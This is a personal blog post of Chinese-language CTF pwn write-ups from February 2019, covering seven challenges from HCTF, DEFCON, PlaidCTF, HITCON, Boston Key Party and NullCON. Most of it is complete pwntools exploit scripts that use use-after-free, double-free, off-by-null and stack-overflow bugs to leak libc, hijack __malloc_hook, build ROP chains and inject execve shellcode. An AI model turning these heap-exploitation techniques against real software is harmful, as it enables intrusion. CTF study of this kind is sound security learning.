Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

2019 Feb pwn writeup

HCTF 2016 fheap [2019.02.05]

程序中对在uaf,可以进行double free来造成堆块的重叠。

通过第一次堆块重叠,可以将一个chunk的释放功能的地址改为call puts的地址,从而在delete时调用puts函数进行输出。第二次堆块重叠则用来伪造堆块的大小,使其释放后位于unsorted bin且与前述含有puts函数的堆块重叠。通过分配unsorted bin使得可以通过puts泄漏出libc的基地址。同样的,也可以泄漏出程序的基地址。

但这种方法存在问题:只知道libc基地址而无法知道libc的函数地址。(通过爆破libc版本说不定可以getshell)

不过.got表中存在能够伪造0x70大小chunk的空间,可能可以利用这个和第一次堆块重叠调用puts的方法来把libc泄漏出来。(一个很大的问题就是无法向堆块中写入\x00)

也尝试过调用printf函数来利用格式化字符串漏洞泄漏地址,但是调用时总是会遇到Segmentation Fault。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

def create(p, size, content):
p.sendlineafter('quit\n', 'create ')
p.sendlineafter('size:', str(size))
p.sendafter('str:', content)

def delete(p, idx):
p.sendlineafter('quit\n', 'delete ')
p.sendlineafter('id:', str(idx))
p.sendlineafter('?:', 'yes')

def pwn():
p = process('./pwn-f')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

for i in range(2):
create(p, 0x60, 'a' * 0x2)

delete(p, 0)
delete(p, 1)
delete(p, 0)

create(p, 2, '\xa0\x00')
create(p, 0x100, 'a' * 0x38 + '\x31\x00')
create(p, 2, '\xa0\x00')
create(p, 10, '\xa0\x00')
create(p, 10, 'a' * 8 + '\x1a\x00')

create(p, 0x30, 'a' * 0x20 + '\x00')
create(p, 0x30, 'a' * 0x20 + '\x00')

delete(p, 1)
create(p, 0x30, 'a' * 0x8 + '\x31\x00')
delete(p, 1)
delete(p, 0)
delete(p, 1)
create(p, 2, '\x10\x00')
create(p, 10, 'a' * 8 + '\x31\x00')
create(p, 0x30, 'a' * 0x18 + p32(0x211)[:3])
delete(p, 6)
create(p, 0x300, 'a' * 19 * 0x8 + p64(0x61)[:2])
create(p, 0x300, 'a' * 9 * 0x8 + p64(0x91)[:2])
delete(p, 0)
create(p, 0x300, 'a' * 12 * 0x8 + '\x00')
delete(p, 3)

gdb.attach(p)

p.interactive()
p.close()

if __name__ == '__main__':
pwn()

看了官网wp:https://github.com/zh-explorer/hctf2016-fheap/blob/master/poc.py。

它是通过ROP来getshell,在进行delete的时候跳转到gadget强制delete提前返回来达到ROP的目的。利用函数中用于保存用户输入的buf来ROP。

修改后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

def create(p, size, content):
p.sendlineafter('quit\n', 'create ')
p.sendlineafter('size:', str(size))
p.sendafter('str:', content)

def delete(p, idx):
p.sendlineafter('quit\n', 'delete ')
p.sendlineafter('id:', str(idx))
p.sendlineafter('?:', 'yes')

def pwn():
p = process('./pwn-f')
elf = ELF('./pwn-f')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

for i in range(2):
create(p, 0x60, 'a' * 0x2)

delete(p, 0)
delete(p, 1)
delete(p, 0)

create(p, 2, '\xa0\x00')
create(p, 0x100, 'a' * 0x38 + '\x31\x00')
create(p, 2, '\xa0\x00')
create(p, 10, '\xa0\x00')
create(p, 10, 'a' * 8 + '\x1a\x00')
create(p, 0x30, 'a' * 0x20 + '\x00')
create(p, 0x30, 'a' * 0x20 + '\x00')

delete(p, 1)
create(p, 0x30, 'a' * 0x8 + '\x31\x00')
delete(p, 1)
delete(p, 0)
delete(p, 1)
create(p, 2, '\x10\x00')
create(p, 10, 'a' * 8 + '\x31\x00')
create(p, 0x30, 'a' * 0x18 + p32(0x211)[:3])
delete(p, 6)
create(p, 0x300, 'a' * 19 * 0x8 + p64(0x61)[:2])
create(p, 0x300, 'a' * 9 * 0x8 + p64(0x91)[:2])
delete(p, 0)
create(p, 0x300, 'b' * 10 * 0x8 + '\x00') # 修改12为10
delete(p, 8)
# ------------------------------------------
create(p, 0x300, 'a' * 5 * 0x8 + '\x1a\x00')
delete(p, 3)
p.recvuntil('a' * 3 * 0x8)

elf.address = u64(p.recv(6) + '\x00\x00') - (0x55873e14dd1a - 0x55873e14d000)
delete(p, 8)
ppppr = elf.address + 0x11dc
payload = 'a' * 5 * 0x8 + p64(ppppr)
create(p, 0x300, payload)

bss_addr = elf.address + 0x202800
rdi_ret = elf.address + 0x11e3

p.sendlineafter('quit\n', 'delete ')
p.sendlineafter('id:', str(3))
payload = 'yes' + ' ' * 5 + p64(rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(rdi_ret) + p64(elf.got['free']) + p64(elf.plt['puts'])
payload += p64(elf.address + 0xc71)
p.sendlineafter('?:', payload)

recv = p.recvuntil('\x0a', drop=True)
libc.address = u64(recv + '\x00\x00') - libc.symbols['puts']

delete(p, 8)
payload = 'a' * 2 * 0x8 + '/bin/sh ' + ' ' * 14 + '&&' + p64(libc.symbols['system'])
create(p, 0x300, payload)
delete(p, 3) # system('/bin/sh &&' + p64(system_addr))

#gdb.attach(p)

p.interactive()
p.close()

if __name__ == '__main__':
pwn()

DEFCON QUALIFIER 2014 shitsco [2019.02.09]

对于我这种逆向渣来说理顺程序逻辑还是花了一点时间Orz。在对set的值进行清除时,如果清除的是第二个变量且保存在.bss上的第一个变量已经被清除时(此时第二个变量的prev值为0,第一个变量的next值为第二个变量的地址),第一个变量的next不会被修改,导致了UAF。只要将第二个变量所在的chunk重新获取并控制其中的内容为保存密码的地址,就能够泄漏密码获得flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

def pwn():
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
p = process('./shitsco')

p.sendlineafter('$ ', 'set a 1')
p.sendlineafter('$ ', 'set b 1')
p.sendlineafter('$ ', 'set c 1')
p.sendlineafter('$ ', 'set d ' + '1' * 0x18)
p.sendlineafter('$ ', 'set a')
p.sendlineafter('$ ', 'set b')
p.sendlineafter('$ ', 'set d')

payload = 'set c ' + p32(0x804844A) + p32(0x804c3a0) + p32(0x804c260)
p.sendlineafter('$ ', payload)

p.sendlineafter('$ ', 'show')
p.recvuntil('sleep: ')
password = p.recvuntil('\n', drop=True)
payload = 'enable ' + password
p.sendlineafter('$ ', payload)
p.sendlineafter('# ', 'flag')

gdb.attach(p)
p.interactive()
p.close()

if __name__ == '__main__':
pwn()

PlaidCTF 2015 Plaiddb(datastore) [2019.02.11]

在输入索引的函数中,存在着off-by-null。利用off-by-null进行chunk overlap,然后泄漏libc基地址、利用0x70的chunk修改__malloc_hook的值为one_gadget。

漏洞如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
char *read_row_key()
{
char *chunk; // r12
char *current_dest; // rbx
size_t usable_size; // r14
char chr; // al MAPDST
signed __int64 offset; // r13
char *new_chunk; // rax

chunk = (char *)malloc(8uLL);
current_dest = chunk;
usable_size = malloc_usable_size(chunk);
while ( 1 )
{
chr = _IO_getc(stdin);
if ( chr == -1 )
EXIT();
if ( chr == '\n' ) // 当offset正好为chunk大小时,break,off-by-null
break;
offset = current_dest - chunk;
if ( usable_size <= current_dest - chunk ) // 空间不够用时
{
new_chunk = (char *)realloc(chunk, 2 * usable_size); // 扩大两倍
chunk = new_chunk;
if ( !new_chunk )
{
puts("FATAL: Out of memory");
exit(-1);
}
current_dest = &new_chunk[offset]; // 更新两个变量
usable_size = malloc_usable_size(new_chunk);
}
*current_dest++ = chr;
}
*current_dest = 0; // off-by-null
return chunk;
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *


def get(p, key):
p.sendlineafter('command:\n', 'GET')
p.sendlineafter('row key:\n', key)

def put(p, key, data):
p.sendlineafter('command:\n', 'PUT')
p.sendlineafter('row key:\n', key)
p.sendlineafter('size:\n', str(len(data)))
p.sendafter('data:\n', data)

def delete(p, key):
p.sendlineafter('command:\n', 'DEL')
p.sendlineafter('row key:\n', key)

def dump(p):
p.sendlineafter('command:\n', 'DUMP')

def pwn():
p = process('./datastore.elf')
elf = ELF('./datastore.elf')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

put(p, '1', 'a' * 0x30)
put(p, '2', 'b')
put(p, '3', 'c' * 0x30)

delete(p, '3')
delete(p, '2')
delete(p, '1')

payload = 'a' * 0x1f0 + p64(0x200) + p64(0x90)
payload = payload.ljust(0x280, '\x00')
put(p, '1', payload)
put(p, '2', 'a' * 0x100)
put(p, '3', 'a' * 0x60)

delete(p, '1')
put(p, '1', 'a' * 0x30)
put(p, '4' * 0x18, 'a' * 0x300) # off by null
delete(p, 'th3fl4g')
put(p, 'th3fl4g', 'a' * 0x110)
delete(p, '1')
put(p, '1' * 0x20, 'a' * 0x60)
delete(p, 'th3fl4g')
delete(p, '2')
put(p, '2', 'a' * 0x110)

get(p, '1' * 0x20)
p.recvuntil(']:\n')
recv = p.recv(6)
libc.address = u64(recv + '\x00\x00') - (0x7fbdacf7cb78 - 0x00007fbdacbb8000)
log.info('libc:%s', hex(libc.address))

delete(p, '2')
payload = 'a' * 0x110 + p64(0) + p64(0x71)
payload += 0x68 * 'a' + p64(0x21)
put(p, '2', payload)

delete(p, '1' * 0x20)
delete(p, '2')
payload = 'a' * 0x110 + p64(0) + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x13)
payload += 0x68 * 'a' + p64(0x21)
put(p, '2', payload)
put(p, '1' * 0x20, 'a' * 0x60)
payload = '\x00' * 3 + p64(libc.address + 0x4526a)
payload = payload.ljust(0x60, '\x00')
put(p, '5', payload)

#gdb.attach(p)

p.sendlineafter('command:\n', 'PUT') #getshell
p.interactive()
p.close()

if __name__ == '__main__':
pwn()

HITCON CTF 2016 Quals ShellingFolder [2019.02.14]

在0x1334函数中存在信息泄露和任意地址写的漏洞,泄漏堆栈地址并将__malloc_hook改成one_gadget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *


def list_current(p):
p.sendlineafter('choice:', '1')

def change_current(p, new_folder):
p.sendlineafter('choice:', '2')
p.sendlineafter('Folder :', new_folder)

def create_folder(p, name):
p.sendlineafter('choice:', '3')
p.sendafter('Folder:', name)

def create_file(p, name, size):
p.sendlineafter('choice:', '4')
p.sendafter('File:', name)
p.sendlineafter('File:', str(size))

def remove(p, name):
p.sendlineafter('choice:', '5')
p.sendlineafter('file :', name)

def calc(p):
p.sendlineafter('choice:', '6')

def pwn():
#context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

p = process('./shellingfolder')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

create_file(p, 'sunichi', 0)
create_file(p, 'sunichi1', -0x10)
create_file(p, 'a' * 0x18 + '\x10', 0x38)
remove(p, 'sunichi1')
calc(p)
p.recvuntil('a' * 0x18)
recv = p.recv(6) + '\x00\x00'
heap_addr = u64(recv) - 0x10
list_current(p)
p.recvuntil('----------------------\n')
recv = p.recv(6) + '\x00\x00'
libc.address = u64(recv) - (0x7f5885ba1b78 - 0x7f58857dd000)
log.info('libc:%s' % hex(libc.address))
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

create_folder(p, 'getshell')
change_current(p, 'getshell')
create_file(p, 'a' * 0x18 + p64(libc.symbols['__malloc_hook'])[:6], 0x0)
change_current(p, '..')

create_folder(p, 'restore')
change_current(p, 'restore')
create_file(p, 'a' * 0x18 + p64(heap_addr + 0x10)[:6], 0xd8-0x50)
calc(p)
change_current(p, '..')

remove(p, 'a' * 0x18 + '\x10')

create_file(p, 'a' * 0x18 + p64(heap_addr + 0x2cd)[:6], ord(p64(libc.address + one_gadget[2])[5]))
calc(p)
remove(p, 'a' * 0x18 + p64(heap_addr + 0x2cd)[:6])

for i in range(5):
create_file(p, 'a' * 0x18 + p64(heap_addr + 0x2cc - i)[:6], ord(p64(libc.address + one_gadget[2])[4 - i]))
calc(p)
remove(p, 'a' * 0x18 + p64(heap_addr + 0x2cc - i)[:6])

change_current(p, 'getshell')
calc(p)
change_current(p, '..')

log.info('one_gadget:%s' % hex(libc.address + one_gadget[2]))
log.info('heap:%s' % hex(heap_addr))
gdb.attach(p)

remove(p, '\x91') # get shell
p.interactive()
p.close()

if __name__ == '__main__':
pwn()

Boston Key Party 2016 simple-calc-5 [2019.02.15]

保存结果时存在复制后栈溢出,可以ROP,但程序静态编译,需要ROP到mprotect将部分内存修改为wx属性来ret2shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *


def add(p, num1, num2):
p.sendlineafter('=> ', '1')
p.sendlineafter('x: ', str(num1))
p.sendlineafter('y: ', str(num2))

def subs(p, num1, num2):
p.sendlineafter('=> ', '2')
p.sendlineafter('x: ', str(num1))
p.sendlineafter('y: ', str(num2))

def set_zero(p):
subs(p, 0x2000, 0x2000)

def pwn():
p = process('./calc')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

p.sendlineafter('calculations: ', '100')
#gdb.attach(p, gdbscript='b *0x401588')
for i in range(0x6):
add(p, 0xbead, 0x2000)
add(p, 0xbead, 0x2000)

set_zero(p)
set_zero(p)
add(p, 0xbead, 0x2000)
add(p, 0xbead, 0x2000)
# saved rbp
add(p, 0x6c0000, 0x5800)
set_zero(p)
# pop rdi; ret
add(p, 0x400000, 0x1b73)
set_zero(p)
add(p, 0x6c0000, 0x5000)
set_zero(p)
# pop rsi; ret
add(p, 0x400000, 0x1c87)
set_zero(p)
add(p, 0x800, 0x800)
set_zero(p)
# pop rdx; ret
add(p, 0x400000, 0x37a85)
set_zero(p)
subs(p, 0x807, 0x800)
set_zero(p)
# call mprotect
add(p, 0x400000, 0x35690)
set_zero(p)

# call read
# pop rdi; ret
add(p, 0x400000, 0x1b73)
set_zero(p)
set_zero(p)
set_zero(p)
# pop rsi; ret
add(p, 0x400000, 0x1c87)
set_zero(p)
add(p, 0x6c0000, 0x5e00)
set_zero(p)
# pop rdx; ret
add(p, 0x400000, 0x37a85)
set_zero(p)
subs(p, 0x900, 0x800)
set_zero(p)
# call read
add(p, 0x400000, 0x34b20)
set_zero(p)
# ret2shellcode
add(p, 0x6c0000, 0x5e00)
set_zero(p)


p.sendlineafter('=> ', '5')

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.sendline(shellcode)
p.interactive()
p.close()

if __name__ == '__main__':
pwn()

HITCON 2016 babyheap [2019.02.18]

NullCON 2019 shop [2019.02.21]

use after free漏洞,通过double free可以泄漏got表信息、获取libc。修改__malloc_hook即可getshell。也有wp通过格式化字符串漏洞实现信息泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *


def new(p, size, name):
p.sendlineafter('> ', '1')
p.sendlineafter('length: ', str(size))
p.sendafter('name: ', name)
p.sendlineafter('price: ', '17')

def delete(p, idx):
p.sendlineafter('> ', '2')
p.sendlineafter('index: ', str(idx))

def view(p):
p.sendlineafter('> ', '3')

def pwn():
p = process('./challenge')
elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

new(p, 0x60, '/bin/sh')
new(p, 0x60, '/bin/sh')
new(p, 0x60, '/bin/sh')
new(p, 0x30, '3')
new(p, 0x60, '/bin/sh')
new(p, 0x60, '/bin/sh')
new(p, 0x60, '/bin/sh')

context.terminal = ['tmux', 'split', '-h']

delete(p, 0)
delete(p, 1)
delete(p, 0)

payload = p64(0) + p64(elf.got['puts'])
new(p, 0x30, payload)

view(p) # get puts address
delete(p, 2)
delete(p, 0)

payload = p64(0) + p64(elf.got['fgets'])
new(p, 0x30, payload)
# context.log_level='debug'
view(p) # get fgets address
p.recvuntil('"name": "')
p.recvuntil('"name": "')
recv = p.recv(6) + '\x00\x00'
libc.address = u64(recv) - (0x7fbe1d061ad0 - 0x00007fbe1cff4000)
# get libc
log.info('libc:%s' % hex(libc.address))
delete(p, 3)
delete(p, 0)

new(p, 0x60, '\n')
new(p, 0x60, p64(libc.symbols['__malloc_hook'] - 0x13))
new(p, 0x60, '\n')
new(p, 0x60, '\n')

payload = '\x7f\x00\x00' + p64(libc.address + 0xf02a4)
new(p, 0x60, payload)

delete(p, 0) # get shell
# gdb.attach(p)
p.interactive()
p.close()

if __name__ == '__main__':
pwn()

NullCON 2019 babypwn [2019.02.28]

格式化字符串和有、无符号数的比较两个漏洞。虽然能够溢出,但是程序开启了canary保护,需要想办法规避。看了其他人的wp才知道,对于

1
scanf("%d", ...)

来说,如果用户输入字符-+scanf函数不会改变相应变量的值。涨知识了。绕过canary后就是常规的格式化字符串漏洞了。

原文:

1
2
3
This requires knowledge of a cool scanf trick. When scanf is called like so:
scanf("%d", ...);
You can provide the characters - or +, and the scanf will not change the value of the variable.